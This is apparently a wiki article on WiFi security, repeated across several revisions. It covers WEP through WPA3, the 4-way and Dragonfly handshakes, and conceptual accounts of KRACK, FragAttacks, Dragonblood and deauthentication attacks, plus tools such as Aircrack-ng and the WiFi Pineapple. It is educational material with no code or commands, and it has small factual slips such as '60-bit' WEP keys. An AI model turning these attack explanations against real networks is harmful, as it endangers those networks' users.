Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn't support this curve, it responds with a message stating so, leading to the client select another curve from it's list. This is repeated until a curve supported by both devices is found. The message that the AP doesn't support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.<ref>Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.</ref>

== Tools ==

There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.
=== Aircrack-ng ===
is an open-source suite designed for assessing Wi-Fi network security. It's capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.<ref> Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3
security approach measurement through aircrack-ng technique’. In 2021
5th International Conference on Computing Methodologies and Commu-
nication (ICCMC), pages 23–30, 2021
</ref>

Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]

=== Driftnet ===
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet's capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.
<ref>deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.</ref>

=== WiFi Pineapple Nano ===
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]

== References ==

* https://www.krackattacks.com/
* https://www.fragattacks.com/
* https://wpa3.mathyvanhoef.com/
* https://ieeexplore.ieee.org/document/523485
* https://github.com/deiv/driftnet
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra

[[Category:Basic]]

WiFi Security

2024-12-05T19:57:01Z

RSchuller: /* WEP */

== Summary ==

This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.

== Basics ==
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.

In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.<ref> https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09</ref>

As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.

==Versions==
===WEP===
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.
<ref name="Survey WEP WPA WPA2>{{Cite conference
| last1 = Lashkari
| first1 = Arash Habibi
| last2 = Danesh
| first2 = Mir Mohammad Seyed
| last3 = Samadi
| first3 = Behrang
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology
| year = 2009
| pages = 48–52
| doi = 10.1109/ICCSIT.2009.5234856
| url = https://ieeexplore.ieee.org/document/5234856
}}</ref>

===WPA===

WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn't be upgraded to support WPA due to extensive required changes. WPA's major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP's vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. <ref>Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-
havior of wpa with modification. In 2015 International Conference on
Communication Networks (ICCN), pages 53–56, 2015.</ref>

;WPA offers two modes of operation:

* Personal WPA or WPA-PSK (Pre-Shared Key):
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it's only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air.

* Enterprise-WPA or Commercial (802.1X):
Is used in Commercial or Enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users' traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA's TKIP allows a more advanced encryption. Instead of a preshared key, you will need a RADIUS server. With this sever it's possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods.

=== WPA2 ===

[[File:4way.png|500px|thumb|right|4 Way Handshake]]

WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a "Pairwise Master Key" (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:

# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.
# The AP sends the group temporal key (GTK) to the client.
# The client confirms that the GTK was received.

After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.

After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).

For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. <ref>Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.</ref>

=== WPA3 ===

[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it's available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it's much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.

The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client->AP and AP->client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.

=== Frame Aggregation and Fragmentation ===

[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]

In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.

== Attacks ==

=== Disassociation and Denial of Service Attacks ===
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]
<ref>Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications & Networking Conference (CCNC)</ref>

=== KRACK ===
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.

When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn't receive it. The client doesn't know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.

=== FragAttacks ===
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.

To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it's possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.

The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it's not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.

=== Dragonblood ===
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.

As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn't support WPA2.

Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn't support this curve, it responds with a message stating so, leading to the client select another curve from it's list. This is repeated until a curve supported by both devices is found. The message that the AP doesn't support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.<ref>Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.</ref>

== Tools ==

There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.
=== Aircrack-ng ===
is an open-source suite designed for assessing Wi-Fi network security. It's capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.<ref> Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3
security approach measurement through aircrack-ng technique’. In 2021
5th International Conference on Computing Methodologies and Commu-
nication (ICCMC), pages 23–30, 2021
</ref>

Ror more description of how aircrack-ng (a popular program suite for WiFi network security) can be used to crack the Pre-Shared-Key after capturing the 4-Way-Handshake can be found in the article: [[WiFi Sniffing]]

=== Driftnet ===
leverages the technique of sniffing WLAN traffic to gather information. It specializes in intercepting and analyzing unencrypted packets, benefiting from the vulnerability of unsecured WLAN connections, especially those lacking WPA2 or WPA3 encryption. Driftnet's capability to decrypt and reveal sensitive information underscores the vulnerability of unsecured WLAN networks. It is used in training scenarios to demonstrate technical vulnerabilities of WLAN security and to raise awareness about the risks associated with unencrypted WLAN communication. The detection of activities by tools like Driftnet highlights the urgency of implementing advanced encryption protocols such as WPA3 and integrating Intrusion Detection Systems (IDS) to identify and block suspicious activities, including packet sniffing.
<ref>deiv (2023). Driftnet. GitHub repository. Verfügbar unter: https://github.com/deiv/driftnet. Zuletzt besucht am 11. Dezember 2023.</ref>

=== WiFi Pineapple Nano ===
The WiFi Pineapple Nano is a device for analysing wireless networks and can also be used for penetration tests. The tool from the manufacturer HAK5 makes it possible to detect all devices with WiFi in the vicinity.
Various tools can be activated via a web interface, e.g. for logging, executing deuathentication attacks in WPA2 networks or capturing a 4-way-handshake. Some modules can also be used to set up a ‘fake’ access point, which users can use to supposedly connect to the internet. Thanks to a comprehensive range of modules with a graphical user interface, the tool can be used intuitively even with less programming experience.
More information and attack scenarios can be found here: [[Evil Portal with Wifi Pineapple Nano]], [[Pineapple Setup]]

== References ==

* https://www.krackattacks.com/
* https://www.fragattacks.com/
* https://wpa3.mathyvanhoef.com/
* https://ieeexplore.ieee.org/document/523485
* https://github.com/deiv/driftnet
* https://docs.hak5.org/wifi-pineapple-6th-gen-nano-tetra

[[Category:Basic]]

WiFi Security

2024-12-05T19:54:57Z

RSchuller: /* WPA */

== Summary ==

This documentation explores WiFi security, covering the progression from WEP to WPA3. It explains how each protocol, from WEP to WPA2 and WPA3, addresses security vulnerabilities with enhanced encryption and authentication methods. The focus is on the handshakes of WPA2 and WPA3, pivotal for securing network connections. Additionally, it touches on frame aggregation and fragmentation for optimizing data transmission, while acknowledging associated vulnerabilities. The article also mentions the potential exploitation of these weaknesses by tools like Aircrack-ng and Driftnet, emphasizing the importance of robust security measures in wireless networks.

== Basics ==
WPA (sometimes referred to as the TKIP standard) became available in 2003. The Wi-Fi Alliance intended it as an intermediate measure in anticipation of the availability of the more secure and complex WPA2, which became available in 2004 and is a common shorthand for the full IEEE 802.11i (or IEEE 802.11i-2004) standard.

In January 2018, the Wi-Fi Alliance announced the release of WPA3, which has several security improvements over WPA2.<ref> https://www.wi-fi.org/news-events/newsroom/wi-fi-alliance-introduces-security-enhancements | title=Wi-Fi Alliance® introduces security enhancements {{!}} Wi-Fi Alliance|website=www.wi-fi.org|language=en|access-date=2018-01-09</ref>

As of 2023, most computers that connect to a wireless network have support for using WPA, WPA2, or WPA3.

==Versions==
===WEP===
WEP (Wired Equivalent Privacy) was an initial encryption standard implemented to provide security for wireless network connections, aiming to offer a level of privacy comparable to that of a wired network. Encryption keys of 60-bit and 128-bit lengths were utilized in WEP, comprising a mix of user-defined and pre-set bits by the manufacturer. The RC4 algorithm was employed to encrypt data, with each packet being secured by a key generated through the amalgamation of an Initialization Vector (IV) and a shared key. The decryption process entailed the inverse operation, where the IV and the shared key were used to create a key stream to decrypt the data payload. However, significant security flaws in WEP led to the eventual replacement of this protocol with more robust security standards.
<ref>{{Cite conference
| last1 = Lashkari
| first1 = Arash Habibi
| last2 = Danesh
| first2 = Mir Mohammad Seyed
| last3 = Samadi
| first3 = Behrang
| title = A survey on wireless security protocols (WEP, WPA and WPA2/802.11i)
| booktitle = 2009 2nd IEEE International Conference on Computer Science and Information Technology
| year = 2009
| pages = 48–52
| doi = 10.1109/ICCSIT.2009.5234856
| url = https://ieeexplore.ieee.org/document/5234856
}}</ref>

===WPA===

WPA was introduced as a temporary replacement for WEP until the IEEE 802.11i standard was ready, intended for firmware upgrade compatibility with wireless network interface cards dating back to 1999. However, most wireless access points (APs) before 2003 couldn't be upgraded to support WPA due to extensive required changes. WPA's major improvements included the Temporal Key Integrity Protocol (TKIP), which dynamically generated a unique key for each packet, and a Message Integrity Check to replace the less secure cyclic redundancy check (CRC) used by WEP. These enhancements addressed some of WEP's vulnerabilities, although WPA itself was later found to have flaws due to limitations in its message integrity check algorithm, making it less secure than its successor, WPA2. <ref>Kashish Monga, Vishal Arora, and Ashish Kumar. Analyzing the be-
havior of wpa with modification. In 2015 International Conference on
Communication Networks (ICCN), pages 53–56, 2015.</ref>

;WPA offers two modes of operation:

* Personal WPA or WPA-PSK (Pre-Shared Key):
Used for small office and home. It does not use an authentication server and the data cryptography can be up to 256 bits. The key can be any alphanumeric string. The key it's only used to negotiate the initial session with the Access Point. The Access Point and the client knows the key, WPA provides mutual authentication and the key gets never transmitted over the air.

* Enterprise-WPA or Commercial (802.1X):
Is used in Commercial or Enterprise environments. Authentication is made by an authentication server. This allows an excellent control and security in the users' traffic or the wireless network. For authentication 802.1X+EAP is used. This and WPA's TKIP allows a more advanced encryption. Instead of a preshared key, you will need a RADIUS server. With this sever it's possible that every client has individual login credentials. Enterprise-WPA allows benefits to use EAP-TLS and PEAP authentication methods.

=== WPA2 ===

[[File:4way.png|500px|thumb|right|4 Way Handshake]]

WPA2 (WiFi Protected Access 2) is specified in the IEEE 802.11i standard. It is the successor of WPA, which was based on an unfinished version of the IEEE 802.11i standard. This was done because the previously used WEP (Wired Equivalent Privacy) protocol was found to be insecure. WPA2 (and also WPA) uses the 4-Way-Handshake when a client connects to a network to create multiple keys, which are used to encrypt the communication between client (supplicant) and access point (authenticator). The handshake is based on a "Pairwise Master Key" (PMK), which is based on the Pre-Shared Key (PSK), the password you enter on a client to connect to a WiFi network. The 4-Way-Handshake consists of the following steps:

# The access point generates a random number (ANonce - Authenticator Nonce), and sends it to the client.
# The client also generates a random number (SNonce - Supplicant Nonce), and sends it to the access point, using the same value for the replay counter as the first message.
# The AP sends the group temporal key (GTK) to the client.
# The client confirms that the GTK was received.

After the second message, both, AP and client, have the needed information to calculate the Pairwise Transient Key (PTK), which is used to encrypt unicast messages between them. This PTK is based on the PMK, ANonce, SNonce and MAC adresses of both devices, and is therefore unique for each AP/client-combination.
The GTK is used to encrypt multicast messages and therefore the same for every client in the network. This GTK is renewed regularly by sending the messages 3 and 4 again.

After sending message 4, the client installs the PTK and GTK, meaning they are being used now. The AP also installs the PTK (the GTK was already installed).

For the encryption WPA2 allows TKIP, CCMP (counter mode with CBC-MAC protocol) and GCMP (galois counter mode protocol). The support of CCMP is mandatory in the WPA2 standard. CCMP is based on AES and is secure, if no IV (initialization vector) is repeated. The IV contains the MAC-address of the sender, a Nonce, which is increased with every message, and some other information transmitted in the WiFi frame. GCMP, also based on AES, is also considered secure, if no IV is used again. Here the IV only contains the sender-MAC-address and the nonce. In both protocols, the nonce is also used as a replay counter and initialized with 0, when the PTK gets installed. <ref>Tamara Radivilova and Hassan Ali Hassan. Test for Penetration in Wi-Fi Network: Attacks on WPA2-PSK and WPA2-Enterprise. In 2017 International Conference on Information and Telecommunication Technologies and Radio Electronics (UkrMiCo), pages 1–4, 2017.</ref>

=== WPA3 ===

[[File:Dragonfly.png|400px|thumb|right|Dragonfly Handshake (Source: https://wpa3.mathyvanhoef.com/)]]
The publication of the KRACK attacks lead to the release of WPA3. This uses the Dragonfly Handshake to provide forward secrecy and prevent dictionary attacks. It is possible to use WPA2 and WPA3 simultaneously in a network, however WPA3 clients are required to use WPA3 when it's available. If the messages, that the network supports WPA3 are manipulated and the client wants to use WPA2 instead, this is recognized during the 4-Way-Handshake, therefore preventing downgrade attacks. The Dragonfly variant used in WPA3 is also called Simultaneous Authentication of Equals (SAE). It uses elliptic curve cryptography to generate a key based on a password. This key is then used for the 4-Way-Handshake. Due to it's much higher entropy (compared to a password), it prevents dictionary attacks. Before the handshake starts, the password is converted to a group element P, by generating hashes of the password, IDs of Client and AP, and an increasing value. This is repeated until the result is a group element (in elliptic curve cryptography a point on the curve), but at least 40 times.

The dragonfly handshake consists of two phases: Commit Phase and Confirm Phase. In the Commit Phase both (Client and AP) pick two random numbers r and m in the range [2, q[ with q being the order of the used group, and calculate s = (r+m) mod q and E = -m * P (P is the previously calculated group element). The next step is to send s and E to the communcation partner (Client->AP and AP->client) and to confirm that the received values are in a valid range, aborting the handshake otherwise.
In the Confirm Phase a secret point K on the curve is calculated: K = r1 * (s2 * P + E2). r1 is the own chosen value r, while s2 and E2 are the received values s and E. The hash of this point K leads to the key k. Finally, an HMAC consisting of k, s1, E1, s2 and E2 is calculated and sent between the devices. If the value is correct, k is successfully chosen as key, which is then used for the 4-Way-Handshake.

=== Frame Aggregation and Fragmentation ===

[[File:WiFiFrameAufbau.png|500px|thumb|right|WiFi Frame Structure (Source: https://www.fragattacks.com/)]]

In WiFi the data is transmitted in so called Frames. To increase the efficiency of the transmission, it is possible to send multiple packets in one frame (aggreation), or to separate a (too) large packet into multiple frames (fragmentation). To to this, a frame contains a Frame Control Field, which specifies the type of the frame with multiple flags. The frame also contains MAC-adresses to specify the receiver and sender of the frame, as well as the source or destination. Furthermore, fields to specify the fragment- and sequence-number, and the QoS (Quality of Service) field are included. At the end, the actual transmitted data, called payload, is located. If the payload is small, multiple packets are aggregated into a large frame called A-MSDU (Aggregate MAC Service Data Units). This is marked by a flag in the QoS field, however this flag is not authenticated and can be changed by an attacker. The multiple payloads are called subframes, containing source- and destination-MAC-Address, packet-length and the actual data.
The second possibility (fragmentation) is used, when the payload is too large for a single frame, but also in noisy environments. In the latter case this leads to an increased performance, because in the case of transmission errors, only a part of the data has to be transmitted again. It is possible to use up to 16 fragments, which have an incremental fragment-number and the same sequence-number.

== Attacks ==

=== Disassociation and Denial of Service Attacks ===
One problem with WPA2 is that Protected Management Frames (PMF), i.e. encrypted frames for e.g. deauthentication, are not activated by default. This means that it is easy for devices such as the WiFi Pineapple Nano to interrupt the connection between a client and its AP, making a denial of service attack possible. However, PMFs are used under WPA3, which means that disassociation attacks are no longer possible. However, another problem with WPA3 is AP DoS attacks: As the SAE handshake requires a relatively large amount of computing power, a large number of requests for a handshake can overload the AP. The result is that Evil Twin attacks may be even more successful if the real AP is disabled. Further information about Evil Twin attacks can be found here: [[Evil Portal with Wifi Pineapple Nano]]
<ref>Lamers, Dijksman, van der Vegt, Sarode and de Laat. Securing Home Wi-Fi with WPA3 Personal. In 2021 IEEE 18th Annual Consumer Communications & Networking Conference (CCNC)</ref>

=== KRACK ===
Key Reinstallation Attacks are based on repeated installation of keys (see explanation of the 4-Way-Handshake), which leads to the Nonce resetting to 0, and therefore reusing an IV.

When the messages 2 and 4 of the 4-Way-Handhake are not received, the messages 1 and 3 are sent again. The IEEE 802.11i standard also states, that client should immediately install the keys after receiving message 3. In KRACK, the message 4 is intercepted, so the AP doesn't receive it. The client doesn't know about this and starts sending encrypted messages. When the access point sends the message 3 again, the client reinstalls the keys, resets the Nonce, and starts sending encrypted messages again. Since the IVs are reused now, the encryption is no longer considered secure.

=== FragAttacks ===
[[File:Fragexample.png|500px|thumb|right|Example for a Mixed Key Attack]]
Fragmentation and Aggregation Attacks affect the above mentioned possibilites of fragmenting and aggregating frames.

To attack the aggregation, the frame has to be intercepted and the A-MSDU flag modified, to make normal frames look like aggregated frames. The payload has to contain specific values, so the subframe contains the desired values. This is done by making the client perform a POST-request with specific data (e.g. on a malicious website of the attacker). If chosen correctly, the data will be interpreted as correct subframe, leading to it being forwarded like an authentic frame. With this attack it's possible to e.g. perform portscans, or to get clients to use specific (malicious) DNS servers.

The other type of FragAttacks targets the fragmentation. One variant of this is the Mixed Key Attack, which exploits flaws in the 802.11 standard, since it's not required, that multiple fragments of a frame are encrypted using the same key. This attack requires, that the keys are renewed regularly, be performing a full 4-Way-Handshake. The victim has to access data on the server of an attacker (e.g. through social engineering), which is hosted on a long URL. This leads to the frame being fragmented. The attacker intercepts these fragments and only forwards the first (with packet number n) to the access point, which encrypts it, recognizes it needs to wait for the other fragments, and stores it. At a later time, the keys are renewed and the package number is reset. When the client then sends a fragment with the packet number n+1, the attacker forwards this fragment to the AP, which then combines the previous stored fragment with the new fragment, and forwards it. This could lead to sending login data (meant for a normal website) to the server of the attacker. See the picture on the right for a simplified example.

=== Dragonblood ===
Dragonblood is a set of attacks targeting the Dragonfly Handshake of WPA3. All of them require that the attacker is in close range of the Client or the Access Point. Depending on which of these devices is attacked, the attacker has to pretend to be the other.

As mentioned above, downgrade attacks to force WPA2 instead of WPA3 are recognized during the 4-Way-Handshake. However, at this point the client has already sent enough encrypted data, to allow an attacker to perform a dictionary attack based on this data. This leads to one of the advantages of WPA3 being bypassed. To do this, a fake WPA2-network with the same SSID as the original network has to be created. Depending on the specific implementation, clients even try to connect to the fake network, although the original network doesn't support WPA2.

Another type of a Dragonblood attack targets the possibility, that Client and AP negotiate which elliptic curve is used for the handshake. The client sends the access point their desired curve. If the AP doesn't support this curve, it responds with a message stating so, leading to the client select another curve from it's list. This is repeated until a curve supported by both devices is found. The message that the AP doesn't support a curve is not verified, therefore it can be forged to force them to use a weaker curve (downgrade attack). This can also be used to perform an upgrade attack, leading to a denial of service on devices with low computational power.<ref>Mathy Vanhoef and Eyal Ronen. Dragonblood: Analyzing the Dragonfly Handshake of WPA3 and EAP-pwd. In 2020 IEEE Symposium on Security and Privacy (SP), pages 517–533, 2020.</ref>

== Tools ==

There are several different tools that are used in the context of WiFi security. Well-known tools and their areas of application are presented here.
=== Aircrack-ng ===
is an open-source suite designed for assessing Wi-Fi network security. It's capable of monitoring and capturing wireless network traffic to evaluate network security. Tools within the Aircrack-ng suite, such as Aireplay-ng, can inject packets into Wi-Fi networks, facilitating potential attacks. Commonly, Aircrack-ng is used to crack Wi-Fi networks secured with WEP or WPA-PSK protocols through dictionary and brute-force attacks. Dictionary attacks employ predefined wordlists, while brute-force attacks attempt all possible password combinations. To protect against Aircrack-ng attacks, strong passwords, regular updates of security protocols, router firmware, and network monitoring for suspicious activities are recommended.<ref> Elyas Baray and Nitish Kumar Ojha. ‘wlan security protocols and wpa3
security approach measurement through aircrack-ng technique’. In 2021
